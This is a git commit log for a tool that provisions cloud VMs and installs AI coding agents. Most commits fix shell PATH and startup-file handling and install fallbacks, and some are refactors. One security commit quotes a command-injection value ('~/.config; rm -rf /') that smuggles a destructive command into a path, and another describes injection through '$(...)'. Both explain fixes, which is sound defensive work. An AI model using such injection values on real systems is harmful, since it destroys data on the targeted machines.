- 149 agent scripts: rewrite to hook pattern (~40-80 lines → ~20-35 lines)
- test/run.sh: update 2 sprite test patterns for new adapter paths
- Net reduction: ~4,300 lines (2,257 added, 6,563 removed)

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 16:25:44 -08:00
A
05054021f3
fix: install Node.js runtime before bun method (npm package needs node) (#1266)
Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
2026-02-16 01:30:26 -08:00
A
d851735eec
fix: simplify Claude Code install to curl + bun only (#1265)
The npm/fnm fallback was causing multiple issues:
- bun installed claude but verification ran `claude --version` which
  needs node (bun-installed claude has #!/usr/bin/env node shebang)
- fnm's `eval "$(fnm env)"` corrupts PATH when written to rc files
- fnm installs node in a dir that requires eval to access

Simplified to two methods:
1. curl installer (standalone binary, no runtime needed)
2. bun i -g (installs to ~/.bun/bin/)

Removed: npm method, fnm/nodesource node installers, fnm PATH logic.
Changed verification from `command -v claude && claude --version` to
just `command -v claude` (avoids needing node just to verify).

Also: cleaned up claude_path (removed fnm references), kept stale
.bash_profile cleanup.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 01:24:26 -08:00
A
bcb59eb925
fix: stop sourcing rc files in launch command — fnm env destroys PATH (#1261)
Root cause: the launch command did `source ~/.bashrc; source ~/.zshrc; claude`.
The .zshrc contains `eval "$(fnm env)"` which outputs PATH with literal
"$PATH" in quotes instead of expanding it, destroying the entire PATH.

Confirmed via debugging:
- `ssh -t ... 'export PATH=...; which claude'` → works (/root/.bun/bin/claude)
- `ssh -t ... 'export PATH=...; source ~/.zshrc; which claude'` → "command not found"
- `source ~/.zshrc; echo $PATH` → `"/run/user/0/fnm_multishells/...":"$PATH"` (broken)

Fix:
- Remove `source ~/.bashrc` and `source ~/.zshrc` from ALL launch commands
- ssh -t creates a pseudo-terminal, so bash auto-sources .bashrc for env vars
- Explicit PATH export is all we need for finding the claude binary
- Remove fnm eval snippet from _finalize_claude_install (it poisoned rc files)
- Also: clean up stale ~/.bash_profile, fix cloud-init PATH, move node
  install after bun attempt

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 01:06:55 -08:00
A
3030b1d036
fix: revert .profile writes, use explicit PATH in launch commands (#1260)
Stop writing env vars to ~/.profile and ~/.bash_profile — only write to
.bashrc and .zshrc. The .profile approach caused issues because login
shells source it inconsistently across distros, and creating .bash_profile
makes bash -l skip .profile entirely.

Replace `bash -lc claude` launch commands with explicit PATH export +
source pattern across all cloud providers. This ensures claude is found
regardless of shell initialization quirks.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 00:43:49 -08:00
A
46e6f46008
fix: stop creating ~/.bash_profile — was destroying system PATH (#1258)
On Ubuntu/Debian, ~/.bash_profile doesn't exist by default. When bash
starts as a login shell (bash -l), it sources the FIRST file it finds
from: ~/.bash_profile, ~/.bash_login, ~/.profile. Since only ~/.profile
exists, that's what gets sourced — and ~/.profile sets up the standard
PATH (/usr/bin, /bin, etc.) and sources ~/.bashrc.

Our inject_env_vars_* functions and _finalize_claude_install were writing
to ~/.bash_profile and ~/.zprofile (either via touch+append or via
for-loop over all rc files). Creating ~/.bash_profile caused bash -l to
source it INSTEAD of ~/.profile, completely losing the standard PATH
setup. After deployment, even basic commands like `ls` would fail.

Fix: Only write to ~/.profile, ~/.bashrc, ~/.zshrc across all clouds
(shared, fly, sprite). These are the standard files that work correctly
on all Linux distros without breaking the shell initialization chain.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 00:27:28 -08:00
A
99b21e2797
fix: write env config to all shell startup files including .bash_profile (#1251)
Root cause: bash -l sources the FIRST of ~/.bash_profile, ~/.bash_login,
~/.profile. If ~/.bash_profile exists (e.g. from cloud-init), ~/.profile
is never read and our claude PATH exports are invisible.

Additionally, .bashrc has a non-interactive guard that skips exports when
sourced from non-interactive shells like `ssh host "cmd"` or `bash -lc`.

Fix: write env config and PATH entries to ALL shell startup files:
~/.profile, ~/.bash_profile, ~/.bashrc, ~/.zshrc, ~/.zprofile.
This ensures both login and interactive shells on any platform find claude.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 00:04:36 -08:00
A
dac4c62d6c
fix: try bun before npm for Claude Code install, fix PATH in launch (#1249)
Two fixes:
1. Swap fallback order from curl → npm → bun to curl → bun → npm.
   Bun is faster and typically pre-installed. Use `bun i -g`.

2. Fix "claude: command not found" at launch. The default .bashrc has
   a non-interactive guard (`case $- in *i*) ;; *) return;; esac`)
   that skips PATH exports when sourced from SSH command strings.
   Fix: write env config to ~/.profile (always sourced by login shells)
   in addition to .bashrc/.zshrc, and launch with `bash -lc claude`
   which starts a login shell that sources ~/.profile.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:44:02 -08:00
A
db06ff84e0
fix: run claude install --force and persist fnm PATH to shell configs (#1245)
After installing Claude Code (via any method), run `claude install --force`
to set up shell integration, then ensure fnm bootstrap is persisted to both
.bashrc and .zshrc so interactive sessions can find node.

Also simplify all launch commands across 9 clouds: instead of hardcoding
PATH entries that may miss fnm, source the rc files which now contain all
the necessary PATH entries from both inject_env_vars and _finalize_claude_install.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:34:09 -08:00
A
34e17e0146
ux: match OAuth callback page to OpenRouter's design theme (#1244)
Restyle the OAuth success/error pages to match openrouter.ai's minimal
aesthetic: system-ui font, clean white/near-black backgrounds, muted
secondary text, and proper light/dark mode via prefers-color-scheme.

- Light mode: white background (#fff), dark text (#090a0b)
- Dark mode: near-black background (#090a0b), light text (#fafafa)
- Use simple checkmark/cross icons instead of colored headings for status
- Add viewport meta tag for mobile
- Update tests to match new markup

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:28:48 -08:00
A
6357e0b2d1
fix: ask GitHub CLI setup before provisioning, not after (#1243)
Previously offer_github_auth prompted interactively inside inject_env_vars_*,
which runs after the server is already provisioned. This means the user sits
through provisioning before being asked a simple yes/no question.

Split into two phases:
- prompt_github_auth: asks the question early (before create_server)
- offer_github_auth: executes the install later (after server is up),
  using the stored answer without re-prompting

Falls back to interactive prompt if prompt_github_auth was never called,
so non-claude scripts and older clouds keep working unchanged.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:20:59 -08:00
A
d0847986f8
fix: use shared install_claude_code across all clouds with fnm PATH fix (#1242)
All cloud claude.sh scripts had inline curl-only installs with no fallback.
When the curl installer failed (transient outage, rate limit), installation
failed with no recovery. Additionally, fnm-installed Node.js was invisible
to subsequent SSH sessions because each SSH command runs in a non-interactive
shell that doesn't source .bashrc/.zshrc.

Changes:
- Migrate 8 cloud scripts to use shared install_claude_code (curl → npm → bun)
- Move _ensure_node_runtime before npm/bun install attempts (not after)
- Add fnm paths to claude_path so node is discoverable across SSH sessions
- Prefix npm/bun install commands with claude_path for PATH visibility
- Update test assertion to match new install_claude_code behavior

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:16:23 -08:00
L
8641baae48
refactor: shared agent helpers + Claude Code install fallback (#1241)
Add 5 composable helper functions to shared/common.sh (install_agent,
verify_agent, get_or_prompt_api_key, inject_env_vars_cb, launch_session)
using the same callback pattern as offer_github_auth and
setup_claude_code_config. Refactor all 15 hetzner scripts to use them,
reducing total line count from 868 to 579 (-33%).

Add install_claude_code helper with 3-method fallback (curl → npm → bun)
and per-step error logging. When npm/bun fallback needs node, installs it
via fnm (platform-agnostic) with nodesource as Debian/Ubuntu fallback.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:03:08 -08:00
L
fffb3591c4
feat: wire shared/github-auth.sh into all agent flows (#1216)
* feat: wire shared/github-auth.sh into all agent flows

Add offer_github_auth() to shared/common.sh and call it from the
inject_env_vars_* functions so all agent flows automatically offer
GitHub CLI setup after env var injection — no per-script changes needed.

Changes:
- shared/common.sh: add offer_github_auth() function, call it from
  inject_env_vars_ssh() and inject_env_vars_local()
- sprite/lib/common.sh: call offer_github_auth() from
  inject_env_vars_sprite()
- OVH is covered automatically (inject_env_vars_ovh delegates to
  inject_env_vars_ssh)

Behavior:
- Prompts "Set up GitHub CLI (gh) on this machine? (y/N):"
- Defaults to No (non-blocking for users who don't need it)
- Skippable via SPAWN_SKIP_GITHUB_AUTH=1 env var for CI/automation
- Uses safe_read for curl|bash compatibility
- Downloads and runs shared/github-auth.sh on the remote VM

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* refactor: add shared agent setup helpers, deduplicate hetzner scripts (#1236)

Add 5 composable helper functions to shared/common.sh (install_agent,
verify_agent, get_or_prompt_api_key, inject_env_vars_cb, launch_session)
that use the same callback pattern as offer_github_auth and
setup_claude_code_config. Refactor all 15 hetzner agent scripts to use
them, reducing total line count from 868 to 579 (-33%).

Phase 1 of multi-phase rollout — remaining clouds to follow.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 23:00:53 -08:00
L
d8ac64863d
fix: inject env vars into both .bashrc and .zshrc, fix PATH across all clouds (#1213)
API keys and env vars were only written to .zshrc, so SSH sessions using
bash couldn't find credentials. Also fixes incorrect ~/.claude/local/bin
PATH (claude installs to ~/.local/bin) and syncs interactive_session PATH
with cloud-init PATH across all 9 clouds.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-15 17:30:40 -08:00
A
01ed74ba95
fix: Hetzner Claude Code installation + add --debug mode (#1198)
Fixed Hetzner installation issue where curl to claude.ai/install.sh
was returning 403 errors. Added fallback to use bun (already installed
by cloud-init) to install Claude Code.

Also added --debug flag to enable verbose bash output (set -x) for
easier troubleshooting.

Changes:
- hetzner/claude.sh: Use bun fallback installation method
- CLI: Added --debug flag support (v0.2.86)
- shared/common.sh: Enable set -x when SPAWN_DEBUG=1

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-15 16:37:04 -08:00
A
8564e6d984
refactor: reduce complexity in cmdConnect and setup_claude_code_config (#1191)
Extract helper functions to reduce nesting and duplication:

1. cmdConnect (54 → 28 lines): Extract runInteractiveCommand() helper to
   eliminate duplicate spawn/Promise handling for Sprite and SSH connections

2. interactiveListPicker (48 → 21 lines): Extract handleRecordAction() helper
   to reduce nesting in reconnect/rerun logic

3. setup_claude_code_config (46 → 40 lines): Extract _generate_claude_code_settings()
   and _generate_claude_code_state() helpers to clarify JSON generation and
   make the main function focus on orchestration

All changes preserve existing behavior and pass existing tests.

Agent: complexity-hunter

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-15 05:18:40 -05:00
A
49c8c4f60b
feat: add VM reconnect functionality to spawn list (#1175)
* feat: add VM reconnect functionality to spawn list (#1144)

Implements ability to reconnect to previously spawned VMs instead of
always creating new instances. Changes include:

- Add VMConnection interface to track IP, user, and server metadata
- Add save_vm_connection() bash function for scripts to persist connection info
- Modify spawn list to show connection status and offer reconnect option
- Support both SSH (cloud providers) and sprite console reconnection
- Update digitalocean/claude.sh and sprite/claude.sh as reference implementations

Fixes #1144

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* improve: add helpful error message when VM reconnect fails

Show user-friendly message suggesting to spawn a new VM if
reconnection fails, rather than just showing raw SSH error.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

---------

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-15 00:16:53 -05:00
A
8df6724ef4
fix: improve reliability in shared/common.sh error handling (#1177)
This commit fixes 3 critical reliability bugs in shared/common.sh:

1. Float arithmetic in OAuth polling loop (line 702)
   - Bug: elapsed=$((elapsed + POLL_INTERVAL)) fails when POLL_INTERVAL is decimal
   - Impact: OAuth timeout detection breaks when users set SPAWN_POLL_INTERVAL=0.5
   - Fix: Use python3 for float addition with integer fallback

2. Missing error handling in extract_ssh_key_ids (line 1249)
   - Bug: No error handling when python3 fails or API returns malformed JSON
   - Impact: Silent failures in SSH key provisioning across 7+ cloud providers
   - Fix: Add error handling with clear diagnostic messages

3. Unsafe fallback in calculate_retry_backoff (line 1312)
   - Bug: Empty interval returned if python3 unavailable and echo fails
   - Impact: sleep "" errors break retry loops in all cloud API wrappers
   - Fix: Add input validation and use printf instead of echo

All tests pass (13685 pass, 0 fail).

Agent: code-health

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-15 00:08:27 -05:00
A
74e208a579
security: fix command injection in upload_config_file (#1169)
* security: fix command injection in upload_config_file via unquoted path

VULNERABILITY: The upload_config_file() function passes remote_path
to mv without proper quoting, enabling command injection if the path
contains spaces or shell metacharacters.

IMPACT: HIGH — While current callers use hardcoded paths (~/.claude/...),
the function signature accepts arbitrary paths, making this a latent
vulnerability. A malicious or crafted path could execute arbitrary
commands on the remote server.

FIX: Double-quote remote_path in all command contexts (dirname, mv).
Tilde expansion still works correctly in double quotes when the tilde
is at the start of the path.

BEFORE:
  mv '${temp_remote}' ${remote_path}
  # If remote_path = "~/.config; rm -rf /" → command injection

AFTER:
  mv '${temp_remote}' "${remote_path}"
  # Path is properly quoted, no injection possible

Tracked in: #763

Agent: security-auditor
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* fix: replace ~ with $HOME in upload_config_file callers

- Replace ~ with $HOME in all upload_config_file calls (lines 2432, 2443, 2522, 2575)
- Update comment to clarify tilde does not expand inside double quotes
- Update documentation example to use $HOME instead of ~

This addresses the review feedback that tilde expansion does not work
inside double quotes in bash. Using $HOME allows proper path expansion
on the remote shell while maintaining secure double-quoting.

Agent: security-auditor
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

---------

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-15 00:08:17 -05:00
A
58232baf4d
fix: improve error handling and reliability in OAuth flow and script download (#1170)
This commit fixes 3 high-impact reliability issues that could cause runtime failures:

1. **OAuth server PID race condition** (shared/common.sh)
   - BEFORE: Used pgrep to find server PID, which could match wrong processes
   - AFTER: Store PID in a file and read it reliably
   - IMPACT: Prevents OAuth cleanup failures and orphaned server processes

2. **Unhandled curl failures in OAuth code exchange** (shared/common.sh)
   - BEFORE: curl failures returned empty response without error detection
   - AFTER: Check curl exit code and report network/API errors clearly
   - IMPACT: Users get actionable feedback instead of cryptic "empty key" errors

3. **Missing error handling in script download** (cli/src/commands.ts)
   - BEFORE: Caught download error but continued execution with undefined scriptContent
   - AFTER: Exit early when download fails to prevent crash
   - IMPACT: Prevents "Cannot read property of undefined" runtime errors

All changes preserve existing behavior while adding defensive error handling.

Agent: code-health

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 23:26:53 -05:00
A
df96db3499
refactor: reduce complexity in display/selection and streaming functions (#1162)
Extract helper functions to reduce cyclomatic complexity:

- shared/common.sh: Split _display_and_select() (81 lines) into:
  - _prepare_fzf_input(): Format items for fzf
  - _fzf_select(): Handle fzf interactive selection
  - _numbered_list_select(): Fallback numbered list mode

- trigger-server.ts: Extract startStreamingRun() (133 lines) helpers:
  - createEnqueuer(): Manage client connection state safely
  - drainStreamOutput(): Generic stream draining with activity tracking

- render/lib/common.sh: Extract repeated error messages from
  _render_wait_for_service() (51 lines) into helper functions:
  - _render_print_deployment_failed_help()
  - _render_print_timeout_help()

Agent: complexity-hunter

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 22:12:58 -05:00
A
8174ed1547
fix: HIGH severity security issues (command injection + weak VNC password) (#1150)
Fixes #1120

1. Command injection in shared/key-request.sh:86
   - BEFORE: export "${var_name}=${val}" allowed injection via $(...)
   - AFTER: Use printf -v to safely assign the value
   - Impact: Prevents arbitrary command execution via crafted API key values

2. Weak VNC password in cloudsigma/lib/common.sh:266
   - BEFORE: openssl rand -hex 8 (64 bits of entropy)
   - AFTER: openssl rand -hex 16 (128 bits of entropy)
   - Impact: Strengthens VNC password against brute force attacks

Agent: security-auditor

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 20:39:48 -05:00
A
0c75e54704
feat: add interactive picker with filtering for Hetzner flow (#1151)
Fixes #1145

Replaces numeric input with interactive fuzzy picker for server/location selection.
- Uses fzf when available for interactive filtering
- Falls back to numbered list when fzf is not installed
- Applies to all interactive_pick flows (Hetzner locations, server types, etc.)
- Improves UX with type-to-filter capability

Agent: ux-engineer

Co-authored-by: spawn-refactor-bot <refactor@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-14 20:39:44 -05:00